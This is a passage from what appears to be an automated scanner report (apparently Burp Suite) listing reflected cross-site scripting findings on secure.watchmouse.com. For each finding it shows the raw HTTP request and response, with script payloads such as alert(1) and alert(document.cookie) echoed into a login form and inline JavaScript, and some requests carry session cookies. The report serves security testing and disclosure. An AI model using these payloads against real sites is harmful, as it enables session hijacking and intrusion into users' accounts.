The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 794ba"><script>alert(1)</script>7ea63d2b988 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets/js794ba"><script>alert(1)</script>7ea63d2b988/wm.js HTTP/1.1
Host: secure.watchmouse.com
Connection: keep-alive
Referer: https://secure.watchmouse.com/en/?868a8'-alert(document.cookie)-'f02a060b98b=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772; nkey=WMA4D528314AD809

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:19:19 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-b3a9c8061b6d52915f7b6ab000ababde"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Keep-Alive: timeout=6, max=1000
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 13082

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets/js794ba"><script>alert(1)</script>7ea63d2b988/wm.js" method="post">
...[SNIP]...

1.200. https://secure.watchmouse.com/assets/js/wm.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.watchmouse.com
Path:	/assets/js/wm.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 957fb"><script>alert(1)</script>d7321fa6cfc was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets/js/wm.js957fb"><script>alert(1)</script>d7321fa6cfc HTTP/1.1
Host: secure.watchmouse.com
Connection: keep-alive
Referer: https://secure.watchmouse.com/en/?868a8'-alert(document.cookie)-'f02a060b98b=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772; nkey=WMA4D528314AD809

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:19:22 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-d23e4a757418e0656328295e25750a78"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Keep-Alive: timeout=6, max=1000
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 13082

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets/js/wm.js957fb"><script>alert(1)</script>d7321fa6cfc" method="post">
...[SNIP]...

1.201. https://secure.watchmouse.com/en/ [3d071%22%3E%3Cscript%3Ealert(document.cookie parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.watchmouse.com
Path:	/en/

Issue detail

The value of the 3d071%22%3E%3Cscript%3Ealert(document.cookie request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5b9c8"><script>alert(1)</script>21a00d42841 was submitted in the 3d071%22%3E%3Cscript%3Ealert(document.cookie parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/?3d071%22%3E%3Cscript%3Ealert(document.cookie5b9c8"><script>alert(1)</script>21a00d42841 HTTP/1.1
Host: secure.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:26:35 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
ETag: "0-en-f3b63b44c114816c7e7ae76f4e8e81d8"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18998

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/?3d071%22%3E%3Cscript%3Ealert(document.cookie5b9c8"><script>alert(1)</script>21a00d42841" method="post">
...[SNIP]...

1.202. https://secure.watchmouse.com/en/ [3d071%22%3E%3Cscript%3Ealert(document.cookie parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.watchmouse.com
Path:	/en/

Issue detail

The value of the 3d071%22%3E%3Cscript%3Ealert(document.cookie request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6e69a'-alert(1)-'7d2c4d52679 was submitted in the 3d071%22%3E%3Cscript%3Ealert(document.cookie parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /en/?3d071%22%3E%3Cscript%3Ealert(document.cookie6e69a'-alert(1)-'7d2c4d52679 HTTP/1.1
Host: secure.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:26:37 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
ETag: "0-en-edd0f2fcb3230f026d41ba9ee307cfa9"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18918

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<![CDATA[
       function checkReferrer(){
           var vref_string = encodeURIComponent('173.193.214.243::0::::?3d071%22%3E%3Cscript%3Ealert(document.cookie6e69a'-alert(1)-'7d2c4d52679');
           var serverRef = encodeURIComponent('');
           if(document && document.referrer){
               jsRef = encodeURIComponent(document.referrer);
           }else{
               jsRef = '';
           }
           requestParams = 'vjsRef='+jsRef
...[SNIP]...

1.203. https://secure.watchmouse.com/en/ [3d071%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E03249d204b0 parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.watchmouse.com
Path:	/en/

Issue detail

The value of the 3d071%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E03249d204b0 request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9c356"><script>alert(1)</script>f5dc871f42d was submitted in the 3d071%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E03249d204b0 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/?3d071%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E03249d204b0=19c356"><script>alert(1)</script>f5dc871f42d HTTP/1.1
Host: secure.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:26:35 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
ETag: "0-en-c86580fcde56eabcbff98332c59e3c5a"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 19241

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/?3d071%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E03249d204b0=19c356"><script>alert(1)</script>f5dc871f42d" method="post">
...[SNIP]...

1.204. https://secure.watchmouse.com/en/ [3d071%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E03249d204b0 parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.watchmouse.com
Path:	/en/

Issue detail

The value of the 3d071%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E03249d204b0 request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3538f'-alert(1)-'680cbdac783 was submitted in the 3d071%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E03249d204b0 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /en/?3d071%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E03249d204b0=13538f'-alert(1)-'680cbdac783 HTTP/1.1
Host: secure.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:26:37 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
ETag: "0-en-9269ea0feae78f4cbfcf18a3e0f821cd"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 19138

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<![CDATA[
       function checkReferrer(){
           var vref_string = encodeURIComponent('173.193.214.243::0::::script%3E03249d204b0=13538f'-alert(1)-'680cbdac783');
           var serverRef = encodeURIComponent('');
           if(document && document.referrer){
               jsRef = encodeURIComponent(document.referrer);
           }else{
               jsRef = '';
           }
           requestParams = 'vjsRef='+jsRef
...[SNIP]...

1.205. https://secure.watchmouse.com/en/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.watchmouse.com
Path:	/en/

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c75f1"><script>alert(1)</script>b3ba854ebba was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /enc75f1"><script>alert(1)</script>b3ba854ebba/ HTTP/1.1
Host: secure.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:26:38 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
ETag: "0-en-a679bd02c702e1823560cdfc691d4b44"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13631

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/enc75f1"><script>alert(1)</script>b3ba854ebba/" method="post">
...[SNIP]...

1.206. https://secure.watchmouse.com/en/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.watchmouse.com
Path:	/en/

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c75ba'-alert(1)-'dcf0f1ccf69 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Request

GET /enc75ba'-alert(1)-'dcf0f1ccf69/ HTTP/1.1
Host: secure.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:26:40 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
ETag: "0-en-c74a2bac85ccc1281e2551f1e0496d92"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13508

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<![CDATA[
       function checkReferrer(){
           var vref_string = encodeURIComponent('173.193.214.243::0::::enc75ba'-alert(1)-'dcf0f1ccf69');
           var serverRef = encodeURIComponent('');
           if(document && document.referrer){
               jsRef = encodeURIComponent(document.referrer);
           }else{
               jsRef = '';
           }
           requestParams = 'vjsRef='+jsRef
...[SNIP]...

1.207. https://secure.watchmouse.com/en/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.watchmouse.com
Path:	/en/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 868a8'-alert(1)-'f02a060b98b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /en/?868a8'-alert(1)-'f02a060b98b=1 HTTP/1.1
Host: secure.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:26:30 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
ETag: "0-en-12ff1a5fea619416a5f0454d1931756d"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18498

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<![CDATA[
       function checkReferrer(){
           var vref_string = encodeURIComponent('173.193.214.243::0::::?868a8'-alert(1)-'f02a060b98b=1');
           var serverRef = encodeURIComponent('');
           if(document && document.referrer){
               jsRef = encodeURIComponent(document.referrer);
           }else{
               jsRef = '';
           }
           requestParams = 'vjsRef='+jsR
...[SNIP]...

1.208. https://secure.watchmouse.com/en/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.watchmouse.com
Path:	/en/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 51d89"><script>alert(1)</script>fa2ab23bb4c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/?51d89"><script>alert(1)</script>fa2ab23bb4c=1 HTTP/1.1
Host: secure.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:26:29 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
ETag: "0-en-c1185e45650eeb9903684867ded578b4"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18622

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/?51d89"><script>alert(1)</script>fa2ab23bb4c=1" method="post">
...[SNIP]...

1.209. https://secure.watchmouse.com/en/api/checkreferrer.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.watchmouse.com
Path:	/en/api/checkreferrer.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ea18e"><script>alert(1)</script>01a73cf344e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /enea18e"><script>alert(1)</script>01a73cf344e/api/checkreferrer.php?vjsRef=http%3A%2F%2Fburp%2Fshow%2F1&vref_string=NaN&vserverRef= HTTP/1.1
Host: secure.watchmouse.com
Connection: keep-alive
Referer: https://secure.watchmouse.com/en/?868a8'-alert(document.cookie)-'f02a060b98b=1
X-Requested-With: XMLHttpRequest
Accept: text/html, */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; nkey=WMA4D528314AD809

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:41:29 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-9c1b20797a760b68d1bcf320b47949d1"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Keep-Alive: timeout=6, max=1000
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 13739

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/enea18e"><script>alert(1)</script>01a73cf344e/api/checkreferrer.php?vjsRef=http%3A%2F%2Fburp%2Fshow%2F1&vref_string=NaN&vserverRef=" method="post">
...[SNIP]...

1.210. https://secure.watchmouse.com/en/api/checkreferrer.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.watchmouse.com
Path:	/en/api/checkreferrer.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 135f0"><script>alert(1)</script>4689ac62e53 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/api135f0"><script>alert(1)</script>4689ac62e53/checkreferrer.php?vjsRef=http%3A%2F%2Fburp%2Fshow%2F1&vref_string=NaN&vserverRef= HTTP/1.1
Host: secure.watchmouse.com
Connection: keep-alive
Referer: https://secure.watchmouse.com/en/?868a8'-alert(document.cookie)-'f02a060b98b=1
X-Requested-With: XMLHttpRequest
Accept: text/html, */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; nkey=WMA4D528314AD809

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:41:30 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-ede973fd35763e7cc9f4de62b6659d65"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Keep-Alive: timeout=6, max=1000
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 13712

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/api135f0"><script>alert(1)</script>4689ac62e53/checkreferrer.php?vjsRef=http%3A%2F%2Fburp%2Fshow%2F1&vref_string=NaN&vserverRef=" method="post">
...[SNIP]...

1.211. https://secure.watchmouse.com/en/api/checkreferrer.php [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.watchmouse.com
Path:	/en/api/checkreferrer.php

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d516f"><script>alert(1)</script>8c0c9114fe3 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/api/checkreferrer.phpd516f"><script>alert(1)</script>8c0c9114fe3?vjsRef=http%3A%2F%2Fburp%2Fshow%2F1&vref_string=NaN&vserverRef= HTTP/1.1
Host: secure.watchmouse.com
Connection: keep-alive
Referer: https://secure.watchmouse.com/en/?868a8'-alert(document.cookie)-'f02a060b98b=1
X-Requested-With: XMLHttpRequest
Accept: text/html, */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; nkey=WMA4D528314AD809

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:41:30 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-2f1f90e413017b9ae31d959c7b980287"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Keep-Alive: timeout=6, max=1000
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 13712

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/api/checkreferrer.phpd516f"><script>alert(1)</script>8c0c9114fe3?vjsRef=http%3A%2F%2Fburp%2Fshow%2F1&vref_string=NaN&vserverRef=" method="post">
...[SNIP]...

1.212. https://secure.watchmouse.com/en/index.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.watchmouse.com
Path:	/en/index.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 78385"><script>alert(1)</script>70cefa9d93e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /en78385"><script>alert(1)</script>70cefa9d93e/index.php HTTP/1.1
Host: secure.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:26:45 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
